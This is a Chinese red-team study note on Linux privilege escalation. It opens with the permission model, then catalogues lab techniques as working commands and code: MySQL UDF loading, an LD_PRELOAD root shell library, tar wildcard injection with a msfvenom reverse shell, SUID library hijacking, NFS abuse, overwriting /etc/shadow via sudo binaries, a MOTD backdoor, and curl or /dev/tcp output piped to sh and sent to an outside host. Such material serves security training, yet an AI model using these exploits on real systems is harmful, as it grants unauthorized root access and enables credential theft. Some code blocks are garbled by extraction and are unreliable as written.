「红队笔记」Linux 提权精讲 Privilege Escation 可缩写为 PrivEsca 或 PE。提权操作存在的原因:应用程序通常是按需配置权限的
提权原理 重要的权限体系
UGO 基本权限:Linux 操作系统中最常见的权限管理方式,UGO 分别代指文件所有者、组和其他人
补充知识点 1:目录的权限。对于目录来说,目录中存储的是该目录下文件/目录名称的列表,因此如果一个用户拥有对某个目录的 r 权限,这意味着可以通过 ls 命令列出文件,而如果拥有的是 x 权限,这意味着用户可以进入该目标并成为当前的工作目录,如果没有对某个目录的 x 权限,那么就无法查看该目录下文件的具体内容
补充知识点 2:修改文件权限的相关信息。chown 用于改变文件所有者,chgrp 用于改变文件所属的组,chmod 用于改变文件的权限
补充知识点 3:不同文件类型的表示。d 表示目录;- 表示普通文件;l 表示链接文件;b 表示块设备文件;c 表示字符设备文件;s 表示 socket 文件
补充知识点 4:权限分配的两种方式
Symbolic method:chmod WhoWhatWhich file | directory
Who - represents identities: u,g,o,a (user, group, other, all)
What - represents actions: +, -, = (add, remove, set exact)
Which - represents access levels: r, w, x (read, write, execute) and s
Numeric method:chmod ### file | directory
SUID, SGID, sticky: s means special.
SUID: A file with SUID always executes as the user who owns the file. If the file owner doesn’t have execute permissions, then use an uppercase S here.
SGID: If set on a file, it allows the file to be executed as the group that owns the file (similar to SUID). If set on a directory , any files created in the directory will have their group ownership set to that of the directory owner .
other + t (sticky): This permission does not affect individual files. Only the owner (and root) of a file can remove the file within that directory.. A common example of this is the /tmp
directory
Setting special permissions: SUID = 4; SGID = 2; Sticky = 1; chmod X### file | directory
note: The permission set is noted by the lowercase t or x, where the x would normally indicate the execute privilege.
参考文章:Linux ugo 权限 - sparkdev - 博客园 (cnblogs.com) Linux permissions: SUID, SGID, and sticky bit | Enable Sysadmin (redhat.com)
Capabilities:
背景:Linux 区分两类进程,特权进程(其有效用户标识为 0,也就是超级用户 root)和非特权进程(其有效用户标识为非零)。特权进程绕过所有内核权限检查,而非特权进程则根据进程凭证(通常为有效 UID,有效 GID 和补充组列表)进行完全权限检查。
capabilities 机制出现的原因:SUID 虽然可以解决普通用户无需密码以 root 权限运行某些命令的问题,却带来了安全隐患。当运行设置了 SUID 的命令时,通常只是需要很小一部分的特权,但是 SUID 给了它 root 具有的全部权限。因此一旦 被设置了 SUID 的命令出现漏洞,就很容易被利用。也就是说 SUID 机制在增大了系统的安全攻击面。
机制:将与 root 关联的特权划分为精细粒度的特权集,并将其按需分配给线程或者文件。对于进程来说,capabilities 是细分到线程的,即每个线程可以有自己的 capabilities。对于文件来说,capabilities 保存在文件的扩展属性中。
线程的 capabilities:每一个线程,具有 5 个 capabilities 集合,每一个集合使用 64
位掩码来表示,显示为 16
进制格式。
Permitted:并不使能线程的 capabilities。从 Effective
或 Inheritable
集合中添加或删除 capability 的前提是,添加或删除的 capability 必须包含在 Permitted 集合中
Effective:内核检查线程是否可以进行特权操作时,检查的对象便是 Effective
集合。
Inheritable:当执行 exec()
系统调用时,能够被新的可执行文件继承的 capabilities,被包含在 Inheritable
集合中。但包含在该集合中的 capabilities 并不会自动继承给新的可执行文件,即不会添加到新线程的 Effective
集合中,它只会影响新线程的 Permitted
集合。
Bounding:Bounding
集合是 Inheritable
集合的超集,如果某个 capability 不在 Bounding
集合中,即使它在 Permitted
集合中,该线程也不能将该 capability 添加到它的 Inheritable
集合中。Bounding 集合的 capabilities 在执行 fork()
系统调用时会传递给子进程的 Bounding 集合,并且在执行 execve
系统调用后保持不变。
Ambient:非特权用户如果在 Permitted
集合中有一个 capability,那么可以添加到 Ambient
集合中,这样它的子进程便可以在 Ambient
、Permitted
和 Effective
集合中获取这个 capability。
文件的 capabilities
Permitted:在文件被执行时,会与线程的 Bounding 集合计算交集,然后添加到线程的 Permitted 集合中。
Inheritable:这个集合与线程的 Inheritable 集合的交集,会被添加到执行完 execve() 后的线程的 Permitted 集合中。
Effective:仅仅是一个标志位。如果设置开启,那么在执行完 execve() 后,线程 Permitted 集合中的 capabilities 会自动添加到它的 Effective 集合中。
这部分看着有点头疼,下次遇到了再捋捋,先做个简单的记录,推荐第一篇文章Linux Capabilities 入门教程:概念篇 – 云原生实验室 - Kubernetes|Docker|Istio|Envoy|Hugo|Golang|云原生 (icloudnative.io) Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com) 另外关于渗透中如何查看 capabilities 使用的命令如下/sbin/getcap -r / 2>/dev/null
AppArmor 和 SELinux:这两种安全模块通过强制访问控制(MAC)策略增强了系统的安全性。它们可以限制进程和文件的访问权限,从而降低潜在的安全风险。
AppArmor 通过定义所谓的“配置文件”,为每个应用程序设定允许和禁止的操作,从而限制进程对系统资源的访问。
SELinux 通过为文件、进程等系统资源分配安全上下文(安全标签),并根据预先定义的安全策略规则来控制访问
Access Control Lists (ACLs):ACLs 提供了比传统文件权限更灵活的权限管理方式,允许为特定用户和组分配文件或目录的特定权限。
其他二十多个权限体系和安全机制
提权原理归纳 原理1:低权限可修改的可执行文件或脚本,能以高权限身份运行。这是从权限体系总结出来的,是一大类情形的原理。
原理2:从用户行为角度,用低权限用户的运维人员,也需要记忆、输入、备份凭据,以备使用高权限用户完成操作。
原理3:在权限的上层,捕捉、拦截、修改凭据信息或权限信息,如一些基于内存读取操作实现的内核利用。
Linux 提权枚举 这里只简单记录,对于自己比较熟练的不过赘述
终端升级与提高稳定性 1 2 3 4 5 6 7 8 python3 -c 'import pty;pty.spawn("/bin/bash");' CTRL + Zstty raw -echo fg export TERM=xterm-color rlwrap nc -lvnp <port>
ps -ef ps -A
或 -e
:查看所有运行进程
ps axjf
:查看进程树
ps aux
:显示所有用户的进程(a),显示启动进程的用户(u),并显示未连接到终端的进程(x)。
top -n 1
: top 命令可以帮助用户监控系统性能,查看当前运行的进程及其资源使用情况,如 CPU 使用率、内存使用情况等。-n 是一个选项,用于指定 top 命令应显示的迭代次数。
netstat netstat -a
:显示所有正在监听的端口和已建立的连接。
netstat -at
或 netstat -au
也可用于分别列出 TCP 或 UDP 协议。
netstat -tp
:列出服务名称和 PID 信息的连接。
netstat -ano
:-a
,显示所有套接字;-n
,不解析名称;-o
:显示计时器
/etc/fstab 检测未挂载的文件系统
提权辅助工具
LinPEAS,全称为 Linux Privilege Escalation Awesome Script,是一个用来搜索类 unix 主机上可能的提权路径的自动化脚本。Github: https://github.com/carlospolop/privilegeescalation-awesome-scripts-suite/tree/master/linPEAS
LinEnum:一个流行的 Linux 本地枚举脚本,用于收集有关系统的各种信息,识别不安全的配置,提取可用于提升权限的漏洞信息。 GitHub: https://github.com/rebootuser/LinEnum
linux-smart-enumeration (lse):这是一个具有模块化功能的 Linux 本地枚举脚本,它可在不同的等级上运行以获取不同详细程度的信息。 GitHub: https://github.com/diegocat-treitos/linux-smart-enumeration
linux-exploit-suggester:该工具主要用于识别 Linux 系统中可能存在的可利用的漏洞,以帮助用户提升权限。 GitHub: https://github.com/mzet-/linux-exploit-suggester
Linuxprivchecker:一个用于检查 Linux 系统潜在安全问题的 Python 脚本,包括文件权限、系统服务和 SUID 二进制文件等。 GitHub: https://github.com/sleventyeleven/linuxprivchecker
unix-privesc-check:这个脚本主要用于识别类 UNIX 系统中可能的权限升级路径,通过检查文件权限、系统配置等方面的问题。 GitHub: https://github.com/pentestmonkey/unix-privesc-check
目标系统的环境将影响您将要使用的工具,例如,如果目标系统上没有安装 Python,那么用 Python 编写的工具将无法运行;如果系统针对某些函数、关键字做了屏蔽,就要换一个试试,这就是为什么最好熟悉几个工具,而不是只有一个专用工具。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh nc -lvnp 81 | tee linpeas.out curl 10.10.10.10/linpeas.sh | sh | nc 10.10.10.10 81 sudo nc -q 5 -lvnp 80 < linpeas.sh cat < /dev/tcp/10.10.10.10/80 | sh ./linpeas.sh -a > /dev/shm/linpeas.txt less -r /dev/shm/linpeas.txt
提权实例 服务漏洞利用提权 MySQL-UDF 提权 UDF: User Defined Function
提权条件
掌握 MySQL 数据库的账户,该账户对 MySQL 拥有 create、insert、delete 等权限,以创建和使用函数(最好直接是 root 账户)
securefile_priv 为空字符串(’’):show variables like '%secure_file_priv%';
这是能否利用 udf 提权的重要条件。它可以限制这些操作仅在特定目录下进行,以增强服务器的安全性。如果设置为 NULL 则禁用这些操作
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
两种提权手法
手动上传动态链接库 查询是否 secure_file_priv 没有限制
1 2 3 4 5 6 7 8 mysql> show global variables like '%secure_file_priv%' ;show global variables like '%secure_file_priv%' ;+ | Variable_name | Value | + | secure_file_priv | | + 1 row in set (0.00 sec)
动态链接库 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
Metasploit 里面都自带了对应系统的动态链接库文件。其位于 /usr/…/metasploit-framework/data/exploits/mysql
1 2 3 4 5 6 7 8 9 ┌──(kali㉿kali)-[/usr/…/metasploit-framework/data/exploits/mysql] └─$ ls -liah total 56K 395515 drwxr-xr-x 2 root root 4.0K Jun 20 05:31 . 394285 drwxr-xr-x 202 root root 20K Jun 20 05:31 .. 402381 -rwxr-xr-x 1 root root 6.5K Jun 1 12:22 lib_mysqludf_sys_32.dll 402382 -rw-r--r-- 1 root root 5.6K Jun 1 12:22 lib_mysqludf_sys_32.so 402383 -rwxr-xr-x 1 root root 7.0K Jun 1 12:22 lib_mysqludf_sys_64.dll 402384 -rw-r--r-- 1 root root 7.9K Jun 1 12:22 lib_mysqludf_sys_64.so
插件目录位置 1 2 3 4 5 6 mysql> show variables like '%plugin%' ;+ | Variable_name | Value | + | plugin_dir | / usr/ local / mysql/ lib/ plugin/ | +
如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。关于如何确定 MySQL 的安装目录:
1 2 3 4 5 6 mysql> select @@basedir; +------------------+ | @@basedir | +------------------+ | /usr/local/mysql | +------------------+
写入动态链接库 可以通过 SQLMap 来写入,前提:SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
1 sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
1 2 ERROR 1126 (HY000): Can't open shared library ' udf.dll' (errno: 193 ) # 这个报错,因为 lib_mysqludf_sys_64.dll 失败,最后使用 lib_mysqludf_sys_32.dll 才成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的
创建自定义函数并调用命令 1 mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll' ;
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
1 2 3 4 5 6 mysql> select * from mysql.func;+ | name | ret | dl | type | + | sys_eval | 0 | udf.dll | function | +
这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:
1 mysql > select sys_eval('whoami' );
编译动态链接库 使用的脚本:MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit (exploit-db.com)
准备利用文件 1 gcc -g -c raptor_udf2.c -fPIC
fPIC
:这个选项告诉编译器生成位置无关代码(Position-Independent Code,PIC)。这种代码可以在内存中的任何位置执行,这对于创建共享库(如动态链接库)非常有用,因为它们可以被多个程序在运行时共享
-c
:这个选项指示编译器仅编译源代码,但不进行链接。编译器将生成一个目标文件(object file),通常具有.o 扩展名。这对于将多个源文件分别编译成目标文件,然后链接为一个可执行程序或库很有用。
1 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
-shared
: 这个选项指示编译器生成一个共享库(shared library)文件,而不是一个可执行文件。共享库允许多个程序共享相同的库代码,从而减少了程序的大小和内存占用。
-Wl
: 该选项告诉编译器将后面的选项传递给链接器。在这里,它用于传递 - soname,raptor_udf2.so
选项。(Warning and Link)
-soname,raptor_udf2.so
: 这个选项设置了生成的共享库的“soname”(共享对象名称)。soname 是一个简短的标识符,用于在运行时链接器(如 ld.so 或 ld-linux.so)解析共享库依赖关系时引用该共享库。通常,soname 包括主版本号,以便在升级库时保持二进制兼容性。
-lc
: 这个选项告诉链接器链接 C 标准库(libc)。这通常是编译 C 程序所必需的,因为它提供了基本的系统函数,如 malloc、free 等。
利用过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 use mysql; # "foo" 在计算机编程和网络领域中是一个常用的占位符名称 # BLOB 表示 "Binary Large Object",它可以存储大量的二进制数据create table foo(line blob ); # 装载动态链接库insert into foo values (load_file('/home/user/tools/mysqludf/ raptor_udf2.so' )); # 写入到插件目录中select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so' ;/ / 找plugin目录中的.so文件create function do_system returns integer soname 'raptor_udf2.so' ; # 查询已有udfSELECT * FROM mysql.func; # 提权select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' );
如果 dumpfile 失败,对于 AppArmor(如果您使用的是基于 Debian 的系统,如 Ubuntu),编辑 /etc/apparmor.d/usr.sbin.mysqld
文件,找到以下行:/usr/sbin/mysqld {
,在此行下方添加以下内容:/usr/lib/mysql/plugin/**rw,
可读 shadow 文件利用提权 转存哈希信息后,使用 john 进行爆破
可写 shadow 文件利用提权 1 2 3 4 5 cp /etc/shadow /tmp/shadow.bak mkpasswd -m sha-512 passwd123
可写 passwd 提权 1 2 3 4 5 cp /etc/passwd /tmp/passwd.bak openssl passwd passwd123
sudo 环境变量提权 LD_PRELOAD 是允许任何程序使用共享库的功能。如果启用了“env_keep”选项,我们可以生成一个共享库,该共享库将在运行程序之前加载和执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 user@debian:~$ sudo -l Matching Defaults entries for user on this host: env_reset, env_keep+=LD_PRELOAD User user may run the following commands on this host: (root) NOPASSWD: /usr/sbin/iftop (root) NOPASSWD: /usr/bin/find void _init () { unsetenv("LD_PRELOAD" ); setgid(0); setuid(0); system("/bin/bash" ); } gcc -fPIC -shared -o shell.so shell.c -nostartfiles sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
自动任务文件权限提权
自动任务 PATH 环境变量提权
自动任务通配符提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 user@RedteamNotes:~$ cat /usr/local/bin/compress.shcd /home/user tar czf /tmp/backup.tar.gz * ┌──(kali㉿kali)-[~/Musics/PrivEscaLabs] └─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 - f elf -o shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch : x64 from the payload No encoder specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes Saved as: shell.elf user@RedteamNotes:~$ chmod +x shell.elf user@RedteamNotes:~$ touch /home/user/--checkpoint=1 user@RedteamNotes:~$ touch /home/user/--checkpoint-action=exec =shell.elf
SUID 可执行文件已知利用提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ┌──(kali㉿kali)-[~/Musics/PrivEscaLabs] └─$ searchsploit exim 4.84 ----------------------------------------------------------------------------- Exploit Title | Path ----------------------------------------------------------------------------- Exim - 'perl_startup' Local Privilege Escalation (Metasploit) | linux/local/39702.rb Exim 4.84-3 - Local Privilege Escalation | linux/local/39535.sh Exim < 4.86.2 - Local Privilege Escalation | linux/local/39549.txt Exim < 4.90.1 - 'base64d' Remote Code Execution | linux/remote/44571.py PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution | php/webapps/42221.py ----------------------------------------------------------------------------- Shellcodes: No Results
SUID 共享库注入提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 user@RedteamNotes:~$ /usr/local/bin/suid-so Calculating something, please wait ... [===================================================================>] 99 % Done. strings /usr/local/bin/suid-so user@RedteamNotes:~$ strace /usr/local/bin/suid-so 2>&1 | grep '/home/user' open("/home/user/.config/libcalc.so" , O_RDONLY) = -1 ENOENT (No such file user@RedteamNotes:~/.config$ vim libcalc.c user@RedteamNotes:~/.config$ cat libcalc.c static void inject() __attribute__((constructor)); void inject () { setuid(0); system("/bin/bash -p" ); } user@RedteamNotes:~/.config$ gcc -shared -fPIC -o libcalc.so libcalc.c user@RedteamNotes:~/.config$ /usr/local/bin/suid-so Calculating something, please wait ... bash-4.1 root
static void inject() __attribute__((constructor));
:声明一个名为 inject 的静态函数,并使用 GCC 的 __attribute__((constructor))
属性。这个属性使得在程序或动态库加载时自动执行 inject 函数,而不需要显式调用它。
SUID 环境变量利用提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 user@RedteamNotes:~$ /usr/local/bin/suid-env Starting web server: apache2httpd (pid 1596) already running . user@RedteamNotes:~$ strings /usr/local/bin/suid-env /lib64/ld-linux-x86-64.so.2 5q;Xq __gmon_start__ libc.so.6 setresgid setresuid system __libc_start_main GLIBC_2.2.5 fff. fffff. l$ L t$(L |$0H service apache2 start user@RedteamNotes:~$ vim service.c user@RedteamNotes:~$ gcc -o service service.c user@RedteamNotes:~$ export PATH=.:$PATH user@RedteamNotes:~$ echo $PATH .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin :/usr/local/sbin
巧用 SUID-shell 功能提权 #1 bash 版本小于 4.2 时,可以定义函数,并且用路径的组合作为函数名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 user@RedteamNotes:~$ strings /usr/local/bin/suid-env2 /lib64/ld-linux-x86-64.so.2 __gmon_start__ libc.so.6 setresgid setresuid system __libc_start_main GLIBC_2.2.5 fff. fffff. l$ L t$(L |$0H /usr/sbin/service apache2 start user@RedteamNotes:~$ /bin/bash --version GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu) Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later user@RedteamNotes:~$ function /usr/sbin/service { /bin/bash -p; } user@RedteamNotes:~$ export -f /usr/sbin/service user@RedteamNotes:~$ /usr/local/bin/suid-env2 root@RedteamNotes:~ root
巧用 SUID-shell 功能提权 #2 bash 版本低于 4.4 时,可以在调试中对环境变量进行设置
1 2 env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
-i
参数表示 “ignore environment”,即忽略现有的环境变量。
xtrace
选项被设置, shell 执行每个命令之前都打印该命令。PS4 环境变量定义了这个打印输出的格式。PS4 被设置为一个命令序列,该命令序列首先会复制 /bin/bash
到/ tmp/rootbash
,然后将新文件设置为 SUID 和可执行状态。
SHELLOPTS
是一个只读的 Bash 环境变量,用于列出当前已启用的 shell 选项。
PS
代表 “Prompt String”。这是用于定义 shell 提示符的环境变量。
密码和密钥历史文件提权 注意家目录下的历史文件
密码和密钥配置文件查看提权 配置文件中可能有用户名和密码,因此要有足够的敏感度,对这方面的文件不能有遗漏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 user@debian:~$ ls -liha total 56K 155042 drwxr-xr-x 5 user user 4.0K May 15 2020 . 155041 drwxr-xr-x 3 root root 4.0K May 15 2017 .. 155056 -rw------- 1 user user 140 May 15 2020 .bash_history 155045 -rw-r--r-- 1 user user 220 May 12 2017 .bash_logout 155043 -rw-r--r-- 1 user user 3.2K May 14 2017 .bashrc 375363 drwxr-xr-x 2 user user 4.0K May 13 2017 .irssi 155071 drwx------ 2 user user 4.0K May 15 2020 .john 156485 -rw------- 1 user user 137 May 15 2017 .lesshst 155047 -rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn 155048 -rw------- 1 user user 11 May 15 2020 .nano_history 155044 -rw-r--r-- 1 user user 725 May 13 2017 .profile 155049 drwxr-xr-x 8 user user 4.0K May 15 2020 tools 155057 -rw------- 1 user user 6.2K May 15 2020 .viminfo user@debian:~$ cat myvpn.ovpn client dev tun proto udp remote 10.10.10.10 1194 resolv-retry infinite nobind persist-key persist-tun ca ca.crt tls-client remote-cert-tls server auth-user-pass /etc/openvpn/auth.txt comp-lzo verb 1 reneg-sec 0 user@debian:~$ cat /etc/openvpn/auth.txt root password123 user@debian:~$ su Password: root@debian:
SSH 密钥敏感信息提权 .ssh 文件可能在用户家目录,也可能在根目录下,并且其中可能存在私钥泄露,并且注意本地创建文件写入私钥内容后文件权限要更改为 600,否则无法登录,除此之外还能会出现算法和签名不匹配的情况,因此有时需要指定算法类型
1 2 3 4 5 6 7 user@debian:~$ ls -liah /.ssh total 12K 1175041 drwxr-xr-x 2 root root 4.0K Aug 25 2019 . 2 drwxr-xr-x 22 root root 4.0K Aug 25 2019 .. 1175042 -rw-r--r-- 1 root root 1.7K Aug 25 2019 root_key ┌──(kali㉿kali)-[~/Musics/PrivEscaLabs] └─$ ssh -i id_rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.174.100
NFS 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 user@RedteamNotes:~$ cat /etc/exports exported hostname2(ro,sync ,no_subtree_check) /tmp *(rw,sync ,insecure,no_root_squash,no_subtree_check) ┌──(root㉿kali)-[/home/kali/Musics/PrivEscaLabs] └─ ┌──(root㉿kali)-[/home/kali/Musics/PrivEscaLabs] └─ Created symlink /run/systemd/system/remote-fs.target.wants/rpcstatd. service → /lib/systemd/system/rpc-statd.service. ┌──(root㉿kali)-[/home/kali/Musics/PrivEscaLabs] └─ ┌──(root㉿kali)-[/tmp/nfs] └─ /tmp/nfs/shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch : x86 from the payload No encoder specified, outputting raw payload Payload size: 48 bytes Final size of elf file: 132 bytes Saved as: /tmp/nfs/shell.elf ┌──(root㉿kali)-[/tmp/nfs] └─
内核利用提权 内核漏洞利用方法很简单:1.确定内核版本,2.为目标系统的内核版本搜索并找到一个漏洞利用代码。3.运行漏洞利用
可以直接使用已编译的漏洞利用,如 Binary Exploits( https://gitlab.com/exploitdatabase/exploitdb-bin-sploits )上就有比较全的内核漏洞编译文件,或可节约编译的探索时间,但的确有一定几率不成功,需要重新编译,甚至本地编译。Linux Kernel CVEs( https://www.linuxkernelcves.com )是一个直观的内核 CVE 检索目录。
doas less+vi 提权 用 find / -perm -u=s -type f 2>/dev/null
发现有 /usr/bin/doas
可执行文件。根据 doas 的用法,查看其配置文件:
1 2 3 RedteamNotes$ cat /etc/doas.conf permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog permit nopass keepenv root as root
执行上述命令,在 less 界面按 v 键启动 vi 编辑状态。按照 vi 启动 shell 的命令语法,在 vi 中执行
利用 MOTD 机制提权 1 2 3 4 5 6 7 ls -al /etc/update-motd.d/echo "cp /bin/bash /home/RedteamNotes/bash && chmod u+s /home/RedteamNotes/bash" >> /etc/update-motd.d/00-header
可预测 PRNG 暴力破解 SSH 提权 在 OpenSSL 0.9.8c-1 < 0.9.8g-9 的 debian 及衍生版本中有可预测伪随机谁生成机制的 SSH 暴力破解利用
5622.txt 中介绍了使用方法。
下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/binsploits/5622.tar.bz2 密钥对包
解压后,用 grep -lr 在其中搜索你枚举或搜索到的公钥中前 20-30 个字符。找到后,取用对应的私钥,完成 ssh 的登录。
sudo 风暴 CVE-2019-14287 1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo -u jack (ALL, !root) NOPASSWD: /bin/bash sudo -u sudo -V | grep version
sudo apt 1 2 3 4 5 6 jackie@RedteamNotes:~$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash Failed to start apt-news.service: Transport endpoint is not connected See system logs and 'systemctl status apt-news.service' for details. Failed to start esm-cache.service: Transport endpoint is not connected See system logs and 'systemctl status esm-cache.service' for details. root@RedteamNotes:/tmp
-o APT::Update::Pre-Invoke::=/bin/bash
:这是一个 apt 命令的选项,用于设置在运行 apt update 之前执行的预处理脚本。::类似于名字空间,逐级访问子配置
1 2 3 4 5 6 7 8 9 sudo apt changelog apt !/bin/sh TF=$(mktemp )echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt install -c $TF sl
sudo apache2 1 2 3 4 5 6 7 user@RedteamNotes:~$ sudo apache2 -f /etc/shadow Syntax error on line 1 of /etc/shadow: Invalid command 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r. jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::' , perhaps misspelled or defined by a module not included in the server configuration
sudo ash 1 2 3 jackie@RedteamNotes:~$ sudo /usr/bin/ash root
ash 是 Bourne shell(sh)的一个轻量级版本,它消耗的系统资源更少,通常用于嵌入式系统和资源有限的环境。
sudo awk 1 2 jackie@RedteamNotes:~$ sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}' root@RedteamNotes:/home/jackie
'BEGIN {system("/bin/bash")}'
是 awk 的语法,是传递给 awk 的脚本。BEGIN 是 awk 的一个特殊模式,表示在处理任何输入行之前执行的动作。在这个脚本中,BEGIN 块中的唯一动作是调用 system 函数。system 函数用于在 awk 内部执行 shell 命令,这里的命令是 /bin/bash,也就是启动一个新的 bash shell
sudo base64 1 2 jackie@RedteamNotes:~$ RedteamNotes=/etc/shadow jackie@RedteamNotes:~$ sudo base64 "$RedteamNotes " | base64 -d
base32 、 base58、basenc、basez 等可以用同的方法
sudo bash 1 2 jackie@RedteamNotes:~$ sudo /bin/bash root@RedteamNotes:/home/jackie
ash、csh、dash、sh、tclsh、zsh
都是常用的 bash
sudo cp 1 2 3 4 5 6 7 ┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers] └─$ mkpasswd -m sha-512 123456 $6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/ ┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers] └─$ root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::
1 2 3 4 5 6 7 8 9 10 jackie@RedteamNotes:~$ RedteamNotes=/etc/shadow jackie@RedteamNotes:~$ TF=$(mktemp ) jackie@RedteamNotes:~$ echo 'root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCjCwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7:::' > $TF jackie@RedteamNotes:~$ echo $TF /tmp/tmp.bpJlJC5XIv jackie@RedteamNotes:~$ cat /tmp/tmp.bpJlJC5XIv root:$6$v9bEKME9H9vcitGI$.O4zh9.UbFFKIdQ3L0em9fa4dceluRA.ygQFF0e10Rs2aw8RD.iOjjfdCj CwYSZzXaAfwDSyS3OKx8uBcUQSs/:19495:0:99999:7::: jackie@RedteamNotes:~$ sudo /usr/bin/cp $TF $RedteamNotes
TF=$(mktemp)做临时文件赋值给 TF,这种做临时文件的方式是专业的做法,是最佳实践,还是从安全和便捷角度考虑的。TF 是 Temp File,也可以根据需要自主命名。
sudo cpulimit 1 2 3 jackie@RedteamNotes:~$ sudo cpulimit -l 100 -f /bin/bash Process 3082 detected root@RedteamNotes:/home/jackie
sudo cpulimit -l 100 -f /bin/sh 这个命令的目的是以超级用户权限限制 /bin/sh 命令的 CPU 使用率不超过 100%。
sudo curl 1 2 3 4 5 6 7 ┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers] └─$ mkpasswd -m sha-512 123456 $6$owj08NcJSU1z7CMp$17Lc7yTSV27fe /fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1 jackie@RedteamNotes:~$ sudo curl http://10.10.10.10/shadow_bespoke -o /etc/shadow
sudo date 1 2 3 4 jackie@RedteamNotes:~$ sudo date -f /etc/shadowdate : invalid date ‘root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ40sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::’
sudo dd 1 2 jackie@RedteamNotes:~$ echo 'root:$6$owj08NcJSU1z7CMp$17Lc7yTSV27fe/fwG.kShdwk02MkgvgwSfWZDG3iRJMQNBsG6pPtJQWJ3iaPes5WdrRl1ZFI4CRL.IEtfCD.y1:17298:0:99999:7:::' | sudo dd of=/etc/shadow
